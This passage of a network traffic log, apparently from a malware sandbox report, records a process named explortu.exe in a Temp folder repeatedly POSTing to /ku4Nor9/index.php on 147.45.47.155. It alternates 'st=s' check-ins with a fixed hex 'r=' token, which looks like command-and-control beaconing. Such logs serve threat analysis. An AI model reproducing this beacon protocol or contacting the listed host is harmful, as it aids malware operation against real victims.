Jun 27, 2024 07:38:33.189377069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49780	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:33.300247908 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:33.963346958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49781	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:33.981278896 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:34.662847996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49782	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:34.786479950 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:35.661787987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49783	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:35.675612926 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:36.343523026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49784	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:36.456064939 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:37.142191887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49785	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:37.151392937 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:37.859143019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49786	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:37.973741055 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:38.668634892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49787	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:38.676964045 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:39.370387077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49788	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:39.487164974 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:40.172909021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49789	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:40.182162046 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:40.871725082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49790	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:40.987826109 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:41.653008938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49791	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:41.661587000 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:42.330658913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49792	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:42.455578089 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:43.133760929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49793	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:43.141803980 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:43.829329014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49794	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:43.940849066 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:44.636636019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49795	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:44.644762993 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:45.318336964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49796	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:45.439454079 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:46.129986048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49797	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:46.147291899 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:46.824709892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49798	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:46.941142082 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:47.632324934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49799	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:47.642421007 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:48.521931887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49800	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:48.642426014 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:49.330867052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49801	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:49.339797020 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:50.043368101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49802	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:50.161267042 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:50.837501049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49803	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
